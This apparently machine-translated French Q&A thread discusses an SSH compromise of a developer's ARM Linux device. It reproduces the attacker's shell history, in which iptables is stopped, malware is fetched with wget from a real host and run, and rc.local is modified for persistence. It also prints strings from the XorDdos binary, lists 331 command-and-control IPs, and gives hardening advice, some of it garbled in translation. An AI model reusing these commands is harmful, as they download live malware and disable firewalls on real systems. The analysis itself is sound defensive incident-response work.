Est-ce que je viens de me faire pirater?

Je développe un produit grand public censé être connecté à Internet. Il est donc connecté à Internet afin que je puisse le développer correctement.

Je suis parti pendant une heure ou deux et quand je suis rentré dans mon bureau, j'ai remarqué d'étranges commandes écrites dans le terminal.

En regardant le fichier journal Linux appelé, auth.logje peux voir les lignes suivantes (parmi beaucoup d'autres):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

L’adresse IP 40.127.205.162s’avère appartenir à Microsoft .

Voici un tas de commandes qui ont été utilisées pendant mon absence:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

Et plus:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

J'étais complètement inconscient de cela. Comment sécuriser correctement mon produit?

Je voudrais poster le auth.logfichier complet . Comment je fais ça?

En outre, le fichier yjz1téléchargé semble être un cheval de Troie Linux et tout cela semble être effectué par un groupe de hacker, selon http://anti-hacker-alliance.com/index.php?ip=40.127.205.162.

Dois-je appeler Microsoft et leur parler? Que devrais-je faire?

EDIT 2 :

il y a une bonne raison pour laquelle ce message attire autant d'attention: vous avez réussi à enregistrer la totalité de la session en direct d'un intrus sur votre PC. Ceci est très différent de notre expérience quotidienne, où nous traitons avec la découverte des conséquences de ses actions et essayons de les réparer. Nous le voyons ici au travail, le voyons avoir des problèmes pour établir la porte arrière, reviennent sur ses pas, travaillent fébrilement (peut-être parce qu'il était assis à votre bureau, comme suggéré ci-dessus, ou peut-être, et à mon avis plus probablement, parce qu'il était impossible de faire fonctionner son logiciel malveillant sur le système (voir ci-dessous) et essayez de déployer des instruments de contrôle entièrement autonomes. C’est ce que les chercheurs en sécurité observent quotidiennement avec leurs pièges à miel . Pour moi, c'est une chance très rare, et la source de l'amusement.

Vous avez certainement été piraté. La preuve de cela ne provient pas de l'extrait de auth.logfichier que vous avez affiché, car cela signale une tentative de connexion infructueuse, sur une période de temps courte (deux secondes). Vous remarquerez que la deuxième ligne indique Failed password, tandis que la troisième indique une pre-authdéconnexion: le gars a essayé et a échoué.

Les preuves proviennent plutôt du contenu des deux fichiers http://222.186.30.209:65534/yjzet http://222.186.30.209:65534/yjz1que l'attaquant a téléchargé sur votre système.

Le site est actuellement ouvert à toute personne pour les télécharger, ce que j'ai fait. J'ai d'abord couru filesur eux, ce qui a montré:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Je les ai ensuite amenés sur une machine virtuelle Debian 64 bits que j'ai; un examen de leur contenu dans la stringscommande révéla beaucoup d'éléments suspects (références à diverses attaques connues, commandes à remplacer, script clairement utilisé pour configurer un nouveau service, etc.).

J'ai ensuite produit les hachages MD5 des deux fichiers et les ai alimentés dans la base de données de hachage de Cymru pour voir s'ils étaient des agents connus de programmes malveillants. Bien que yjzn'est pas, yjz1est, et Cymru fait état d' une probabilité de détection par les logiciels anti-virus de 58%. Il est également indiqué que ce fichier a été vu pour la dernière fois il y a trois jours environ et qu'il est donc relativement récent.

Exécuter clamscan (une partie du clamavpaquet) sur les deux fichiers que j'ai obtenus:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

Nous sommes maintenant certains que les logiciels standard Linux peuvent l'identifier.

Que devrais tu faire?

Bien que relativement nouveau, aucun des deux systèmes ne soit très récent, consultez cet article de janvier 2015 sur XorDdos , par exemple. Donc, la plupart des paquets gratuits devraient pouvoir le supprimer. Vous devriez essayer: clamav, rkhunter, chkrootkit. J'ai googlé autour de moi et vu qu'ils prétendent pouvoir le repérer. Utilisez-les pour vérifier le travail du prédécesseur, mais après avoir exécuté ces trois programmes, vous devriez être prêt à commencer.

Pour ce qui est de la question plus générale, what should you do to prevent future infectionsla réponse de Compagnon est un bon premier pas. Gardez simplement à l’esprit que c’est un combat permanent, un combat que nous pouvons tous (y compris moi!) Perdre sans le savoir.

EDIT :

À l'invite (indirecte) de Viktor Toth, j'aimerais ajouter quelques commentaires. Certes, l'intrus a rencontré certaines difficultés: il télécharge deux outils de piratage distincts, modifie leurs autorisations à plusieurs reprises, les redémarre plusieurs fois et tente à plusieurs reprises de désactiver le pare-feu. Il est facile de deviner ce qui se passe: il s'attend à ce que ses outils de piratage ouvrent un canal de communication vers l'un de ses ordinateurs infectés (voir plus loin) et, lorsqu'il ne voit pas ce nouveau canal apparaître sur son interface graphique de contrôle, il craint son piratage. L’outil est bloqué par le pare-feu, il répète donc la procédure d’installation. Je suis d'accord avec Viktor Toth pour dire que cette étape de son opération ne semble pas porter les fruits escomptés, mais je voudrais vous encourager très fortement. ne sous-estimez pas l'étendue des dégâts infligés à votre ordinateur.

Je fournis ici une sortie partielle de strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Ceci fournit la preuve de la falsification des services (in /etc/init.det in /etc/rc.d), avec crontab, avec l'historique des fichiers mysqlet quelques fichiers contenant des procliens bash(ce qui suggère qu'une version frauduleuse de votre shell a été créée). Ensuite, le programme génère une requête HTTP (vers un site de langue chinoise,

 Accept-Language: zh-cn

ce qui donne de la substance au commentaire de David Schwartz ci-dessus), ce qui peut créer encore plus de dégâts. Dans la requête, les fichiers binaires ( Content-Type: application/x-www-form-urlencoded) doivent être téléchargés sur le PC attaqué (GET) et téléchargés sur la machine de contrôle (POST). Je ne pouvais pas établir ce qui serait téléchargé à l'ordinateur attaqué, mais, compte tenu de la petite taille des deux yjzet yjz1(1.1MB et 600kB, repectively), je peux oser supposer que la plupart des fichiers nécessaires pour masquer le rootkit, à savoir le règlement modifié versions ls, netstat, ps, ifconfig, ..., seraient téléchargés de cette façon. Et cela expliquerait les tentatives fiévreuses de l'attaquant pour lancer ce téléchargement.

Il n’est pas certain que ce qui précède épuise toutes les possibilités: il nous manque certainement une partie de la transcription (entre les lignes 457 et 481) et nous ne voyons pas de déconnexion; De plus, les lignes 495 à 497 sont particulièrement inquiétantes.

cd /tmp;  ./yd_cd/make

qui font référence à un fichier que nous n'avons pas vu téléchargé, et qui pourrait être une compilation: dans l'affirmative, cela signifie que l'attaquant a (enfin?) compris quel était le problème avec ses exécutables, et qu'il essayait de le réparer, auquel cas le PC attaqué est allé pour de bon. [En fait, les deux versions du malware que l'attaquant a téléchargé sur la machine piratée (et moi sur ma machine virtuelle Debian 64 bits) correspondent à une architecture inappropriée, x86, alors que le seul nom du PC piraté indique le fait que il avait affaire à une architecture de bras].

La raison pour laquelle j’ai écrit cette modification est de vous inciter aussi fortement que possible à peigner votre système avec un instrument professionnel ou à effectuer une nouvelle installation à partir de zéro.

Et, à propos, si cela devait être utile à qui que ce soit, voici la liste des 331 adresses IP auxquelles yjztente de se connecter. Cette liste est si longue (et probablement destinée à le devenir encore) que je pense que c’est la raison pour laquelle elle a été falsifiée mysql. La liste fournie par l’autre porte dérobée est identique, ce qui, je suppose, est la raison pour laquelle nous avons laissé ouverte une information aussi importante (je pense que l’attaquant ne souhaitait pas faire l'effort de le stocker au format noyau, donc il a mis la liste entière dans un fichier en texte clair, qui est probablement lu par tous ses backdoors, quel que soit le système d'exploitation utilisé:

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Le code suivant

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

sur la liste ci-dessus montre que 302 sur un total de 331 adresses sont en Chine continentale, les autres sont à Hong Kong, en Mongolie, à Taiwan. Cela renforce encore l'affirmation de David Schwartz selon laquelle il s'agit principalement d'un réseau de robots chinois.

EDIT 3

À la demande de @ vaid (l'auteur de l'OP, lisez son commentaire ci-dessous), je vais ajouter un commentaire sur la manière de renforcer la sécurité d'un système Linux de base (pour un système fournissant de nombreux services, il s'agit d'un sujet beaucoup plus complexe). vaiddéclare qu'il a fait ce qui suit:

1. Réinstaller le système

2. changé le mot de passe root en un mot de passe de 16 caractères avec des lettres minuscules et majuscules, des caractères et des chiffres.

3. Changé le nom d'utilisateur en un nom d'utilisateur long composé de 6 caractères et applique le même mot de passe que celui utilisé pour root

4. changé le port SSH à quelque chose de plus de 5000

5. désactivé la connexion root SSH.

C'est bon (sauf que j'utilise un port supérieur à 10 000, car de nombreux programmes utiles utilisent les ports inférieurs à 10 000). Mais je ne saurais trop insister sur la nécessité d’utiliser des clés cryptographiques pour la connexion SSH , au lieu des mots de passe. Je vais vous donner un exemple personnel. Sur l'un de mes VPS, j'étais incertain de changer le port ssh; Je l'ai laissé à 22 ans, mais j'ai utilisé des clés de chiffrement pour l'authentification. J'ai eu des centaines de tentatives d'effraction par jour , aucune n'a réussi. Quand, fatigué de vérifier chaque jour que personne n’avait réussi, j’ai finalement basculé le port à plus de 10 000, les tentatives d’intrusion sont passées à zéro. Remarquez, ce n'est pas que les pirates informatiques sont stupides (ils ne le sont pas!), Ils traquent simplement une proie plus facile.

Il est facile d'activer une clé cryptographique avec RSA comme algorithme de signature, voir le commentaire ci-dessous de Jan Hudec (merci!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Il ne vous reste plus qu'à copier le fichier id_rsasur la machine à laquelle vous souhaitez vous connecter (dans un répertoire .ssh, également chmodédité à 700), puis à lancer la commande

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Lorsque vous êtes sûr que cela fonctionne, éditez le fichier sur le serveur (= la machine à laquelle vous souhaitez vous connecter) /etc/ssh/sshd_configet modifiez la ligne.

#PasswordAuthentication yes

à

PasswordAuthentication no

et redémarrez le sshservice ( service ssh restartou systemctl restart sshquelque chose comme ça, selon la distribution).

Cela résistera beaucoup. En fait, il n’existe actuellement aucun exploit connu contre les versions actuelles openssh v2de RSA et de RSA utilisées par openssh v2.

Enfin, pour vraiment verrouiller votre machine, vous devrez configurer le pare-feu (netfilter / iptables) comme suit:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Ceci, 1) permet les connexions SSH à partir de LAN et de WAN, 2) autorise toutes les entrées générées par vos demandes (par exemple, lorsque vous chargez une page Web), 3) supprime tout le reste de l’entrée, 4) autorise tout la sortie, et 5-6) permet tout sur l’interface de bouclage.

Au fur et à mesure que vos besoins grandissent et que de plus en plus de ports doivent être ouverts, vous pouvez le faire en ajoutant en haut de la liste des règles telles que:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

pour permettre, par exemple, à des personnes d'accéder à votre navigateur Web.

Bienvenue sur Internet - où tout serveur SSH ouvert risque d’être sondé, forcé de force et soumis à diverses indignités.

Pour commencer, vous devez effacer complètement la mémoire de stockage du produit. Imaginez-le si vous voulez le transmettre aux experts judiciaires, mais l'installation de Linux sur celui-ci est maintenant suspecte.

Peu de devinettes mais

1. Vous avez été forcé ou utilisez un mot de passe commun. C'est la sécurité par obscurité, mais vous ne voulez pas de mot de passe pour le dictionnaire ou pour utiliser un compte root ouvert sur SSH. Désactivez l’accès SSH racine s’il s’agit d’une option ou modifiez au moins le nom afin qu’ils aient à deviner les deux. SSHing en tant que racine est de toute façon une pratique de sécurité terrible. Si vous devez utiliser root, connectez-vous en tant qu'autre utilisateur et utilisez su ou sudo pour basculer.

2. Selon le produit, vous souhaiterez peut-être verrouiller l'accès SSH d'une manière ou d'une autre. Un verrouillage total semble être une bonne idée et permet aux utilisateurs de l'ouvrir au besoin . En fonction des ressources que vous pouvez économiser, envisagez d'autoriser uniquement les adresses IP dans votre propre sous-réseau ou un système de limitation de connexion. Si vous n'en avez pas besoin sur le produit final, assurez-vous qu'il est désactivé.

3. Utilisez un port non standard. Sécurité par obscurité, encore une fois, mais cela signifie qu'un attaquant doit cibler votre port.

4. Ne jamais utiliser un mot de passe par défaut. La meilleure approche que j'ai vue consiste à générer de manière aléatoire un mot de passe pour un périphérique spécifique et à l'expédier avec votre produit. La meilleure pratique est l'authentification basée sur la clé, mais je ne sais pas comment aborder cette question avec un produit de masse.

Oh, vous avez été définitivement piraté. Quelqu'un semble avoir pu obtenir les informations d'identification de la racine et tenté de télécharger un cheval de Troie sur votre système. MariusMatutiae a fourni une analyse de la charge utile.

Deux questions se posent: a) l'attaquant a-t-il réussi? Et b) que pouvez-vous faire à ce sujet?

La réponse à la première question peut être un non. Notez que l'attaquant tente à plusieurs reprises de télécharger et d'exécuter le contenu, apparemment sans succès. Je soupçonne que quelque chose (SELinux, peut-être?) Lui faisait obstacle.

CEPENDANT: l’attaquant a également modifié votre /etc/rc.d/rc.localfichier, dans l’espoir que, lorsque vous redémarrez votre système, la charge utile sera activée. Si vous n'avez pas encore redémarré le système, ne redémarrez pas avant d'avoir supprimé ces modifications /etc/rc.d/rc.local. Si vous l'avez déjà redémarré ... eh bien, bonne chance.

Pour ce qui est de ce que vous pouvez faire à ce sujet: La chose la plus sûre à faire est d’essuyer le système et de le réinstaller à partir de zéro. Mais cela peut ne pas toujours être une option. Une chose nettement moins sûre à faire est d’analyser exactement ce qui s’est passé et d’en effacer chaque trace, si vous le pouvez. Encore une fois, si vous n'avez pas encore redémarré le système, il vous suffira peut-être de nettoyer /etc/rc.d/rc.local, de supprimer tout ce qui aura été téléchargé par l'attaquant et enfin, de changer le mot de passe!

Toutefois, si l'attaquant était déjà en mesure d'exécuter la charge utile, d'autres modifications de votre système pourraient être difficiles à détecter. C'est pourquoi une lingette complète est vraiment la seule option sûre (et recommandée). Comme vous l'avez indiqué, le matériel en question peut constituer une cible de test / développement, il est donc peut-être inutile de l'essuyer, ce qui est moins douloureux que dans d'autres cas.

Mise à jour : Malgré ce que j'ai écrit sur une éventuelle reprise, je souhaite faire écho à la très forte recommandation de MariusMatutiae de ne pas sous-estimer les dommages potentiels causés par cette charge utile et la mesure dans laquelle cela aurait pu compromettre le système cible.

Sshd-honeypot a également été témoin de ce type d'attaque. Les premiers téléchargements à partir de cette URL ont débuté le 29/01/2016, le 29/01/2012 et les attaques sont toujours en cours. Les attaques sont / venaient de

103.30.4.212
111.68.6.170
118.193.228.169

Les commentaires de ces attaquants étaient:

service iptables stop
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & 1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Donc, pas d'activités autres que l'installation de la porte dérobée pour plus tard.

Tout le monde ici a offert des conseils judicieux, mais pour être clair, vos priorités doivent être de sauvegarder et de vérifier ce que vous avez vraiment besoin de ce système, puis de le nettoyer avec une nouvelle installation à partir d'un support connu.

Avant de connecter votre hôte nouvellement installé à Internet, exécutez ces idées:

1. Créez un nouvel utilisateur non root et connectez-vous en tant qu'utilisateur. Vous ne devriez jamais avoir besoin de vous connecter en tant que root, mais simplement sudo (utilisateur suppléant do) si nécessaire.

2. Installez SE Linux, paramètres de configuration permettant le contrôle d'accès obligatoire: https://wiki.debian.org/SELinux/Setup

3. Envisagez un pare-feu matériel entre votre bureau / domicile et Internet. J'utilise MicroTik, qui bénéficie d'un excellent support communautaire: http://routerboard.com/ .

En supposant que vous soyez sur un calendrier pour terminer votre travail rémunéré, faites au moins # 1. Le numéro 3 est rapide et bon marché, mais vous devrez soit attendre le colis par la poste, soit vous rendre au magasin.

1. Est -ce que debian-armhf est votre nom d'hôte? Ou utilisez-vous une installation par défaut avec des paramètres par défaut? Cela ne pose aucun problème, mais vous ne devriez pas autoriser l'hôte à être directement exposé à Internet (c'est-à-dire qu'il n'est pas protégé par votre modem, du moins).

2. Il semble que le véritable problème vienne de 222.186.30.209 (voir http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Vous ne devriez pas payer beaucoup d'attention pour voir l'adresse IP de Microsoft. Les IP peuvent être plus ou moins simulés / usurpés assez facilement.

3. Une façon habituelle de se connecter à Internet consiste à transférer une liste connue de ports de votre adresse IP publique (par exemple, 8.8.8.8) à votre réseau local (par exemple, 192.168.1.12).

   • Par exemple, ne transférez pas toutes les connexions entrantes de 8.8.8.8 (public) à 192.168.1.12 (local).

   • Transférer uniquement les ports 22 et 25 (ssh et courrier entrant, respectivement). Bien entendu, vous devriez également disposer de packages / bibliothèques ssh et smtp à jour.

4. Et après? Déconnectez l'hôte et modifiez tous les mots de passe (sur les ordinateurs associés à l'organisation) codés en dur dans des scripts de shell (honte à vous!) Dans /etc/shadow.

Comme d'autres l'ont dit, il est clair que la sécurité de votre serveur a été compromise. Le plus sûr est d'essuyer cette machine et de la réinstaller.

Pour répondre à la deuxième partie de votre question, si vous ne pouvez pas utiliser l'authentification par clé publique, je vous recommande au moins de configurer Fail2Ban et d'exécuter SSH sur un port non standard. J'ai également désactivé l'accès SSH racine.

Fail2Ban contribuera à atténuer les attaques par force brute en interdisant les adresses IP qui ne parviennent pas à se connecter un certain nombre de fois.

Définir sshd pour écouter sur un port non standard contribuera au moins à réduire un peu la visibilité de votre serveur SSH. La désactivation de la connexion root réduit également légèrement le profil d'attaque. Dans /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Avec la connexion root désactivée, vous devrez soit basculer vers la racine avec suune fois que vous êtes connecté, ou (plus préférablement) utiliser sudopour exécuter des commandes privilégiées.

Les serveurs SSH sont constamment attaqués sur Internet. Quelques choses que vous faites:

1. Assurez-vous d'utiliser un mot de passe aléatoire très sécurisé, pour les machines accessibles par Internet. Je veux dire comme 16 caractères ou plus et complètement aléatoire. Utilisez un gestionnaire de mot de passe pour ne pas avoir à le mémoriser. Si vous pouvez mémoriser votre mot de passe, c'est trop simple.

2. Si vous n'avez pas besoin de SSH, désactivez-le. Si vous en avez besoin, mais que vous n'avez pas besoin qu'il soit accessible publiquement, exécutez-le sur un numéro de port élevé et non standard. Cela réduira considérablement les tentatives de piratage. Oui, un pirate informatique dédié peut analyser les ports, mais les robots automatisés ne le trouveront pas.

L'extrait de votre journal d'authentification indique une tentative infructueuse. Cependant, si vous regardez plus loin, vous constaterez sans aucun doute une connexion réussie. Si vous utilisez un mot de passe simple, il est alors trivial pour un bot d'entrer.

Vous devez isoler cette machine du réseau. Prenez très soigneusement ce dont vous avez besoin, puis essuyez-le.

La première chose que tout le monde devrait faire après avoir configuré un serveur Linux / Unix frontal est de le désactiver immédiatement root.

Votre système a été compromis. Vous avez un journal d’historique en cours d’exécution qui pourrait être intéressant à regarder dans une certaine mesure. Mais honnêtement, disséquer les détails est un peu tatillon et ne vous aidera pas à sécuriser votre serveur. Il montre toutes sortes de bêtises qui se produisent lorsqu'un botnet a généré un malware (qui est probablement ce qui a infecté votre serveur) infecte un système Linux. La réponse fournie par @MariusMatutiae est agréable et bien pensée et d’autres répètent que vous avez été piraté via un rootaccès qui est le rêve de tout un malware / botnet.

